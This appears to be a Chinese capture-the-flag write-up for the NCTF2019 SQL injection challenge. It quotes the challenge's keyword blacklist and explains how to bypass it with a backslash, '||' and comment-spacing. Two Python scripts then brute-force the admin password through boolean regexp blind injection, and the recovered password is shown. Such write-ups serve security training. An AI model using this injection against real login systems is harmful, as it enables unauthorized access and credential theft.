[NCTF2019]SQLi regexp 盲注

/robots.txt

访问一下

复制代码
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,

Then you will get the flag;

这里实现了过滤

说需要admin的密码

这里我们可以发现没有过滤 \ 所以username 我们可以通过 \ 来绕过

所以我们通过passwd注入

or 使用 || 代替

然后空格使用 /**/代替

我们尝试登入

发现进行302跳转 但是没办法

所以还是要通过 查询admin passwd 进入

所以我们开始

写注入的代码 这里很多都被过滤了

但是放出了 ^和 regexp

正则

我们可以通过正则来读取

和下面的例子一样

复制代码
select (select 'b') > (select 'abc')  这个时候会返回0


select name regexp "^a"     这里的name是admin   //我自己的数据库

返回的是1

所以我们可以通过 布尔注入实现这道题的读取

复制代码
import time
from urllib import parse

import requests
import string

baseurl="http://271f8427-5e33-4411-aae5-90e418285c4f.node4.buuoj.cn:81/"

paylaod = '||/**/passwd/**/regexp/**/"^{}";{}'

def add(flag):
    res=''
    res += flag
    return  res
flag=''
ascii_chars = string.ascii_letters + string.digits + string.punctuation
print(ascii_chars)
for i in range(20):
    for j in ascii_chars:
        data = add(flag+j)
        paylaod1 = paylaod.format(data,parse.unquote('%00'))
        print(paylaod1)
        data={'username':'\\',
              'passwd':paylaod1}
        re=requests.post(url=baseurl,data=data)
        if re.status_code == 429:
            time.sleep(0.5)
        if "welcome.php" in re.text:
            flag += j
            print(flag)
            break

这里很坑 上面的 字符*的时候会循环输出

you*u*u*u

不知道是环境问题还是什么

所以我们现在替换

复制代码
import time
from urllib import parse

import requests
import string

baseurl="http://271f8427-5e33-4411-aae5-90e418285c4f.node4.buuoj.cn:81/"

paylaod = '||/**/passwd/**/regexp/**/"^{}";{}'

def add(flag):
    res=''
    res += flag
    return  res
flag=''
ascii_chars = string.ascii_letters+string.digits+"_"
for i in range(20):
    for j in ascii_chars:
        data = add(flag+j)
        paylaod1 = paylaod.format(data,parse.unquote('%00'))
        data={'username':'\\',
              'passwd':paylaod1}
        re=requests.post(url=baseurl,data=data)
        if re.status_code == 429:
            time.sleep(0.5)
        if "welcome.php" in re.text:
            flag += j
            print(flag)
            break

这个就可以爆出值了

复制代码
you_will_never_know7788990
相关推荐
一念一花一世界17 小时前
Arbess从初级到进阶(7) - 使用Arbess+GitLab实现PHP项目自动化部署
ci/cd·gitlab·php·arbess
星光一影19 小时前
废品回收系统小程序源码
mysql·php·html5
曦樂~19 小时前
【Docker】网络
docker·容器·php
nvvas1 天前
PHP安装ZSTD压缩库扩展
php
stand_forever1 天前
PHP客户端调用由Go服务端GRPC接口
rpc·golang·php
TravisBytes1 天前
一次 Qt 网络程序诡异崩溃排查:从 Breakpad 堆栈到 lambda 捕获悬空引用
网络·qt·php
Alex艾力的IT数字空间2 天前
完整事务性能瓶颈分析案例:支付系统事务雪崩优化
开发语言·数据结构·数据库·分布式·算法·中间件·php
q***76662 天前
网络安全防护指南:筑牢网络安全防线(510)
安全·web安全·php
denggun123452 天前
ios-WebP
macos·php·cocoa
悠悠~飘3 天前
17.PHP基础-数组
php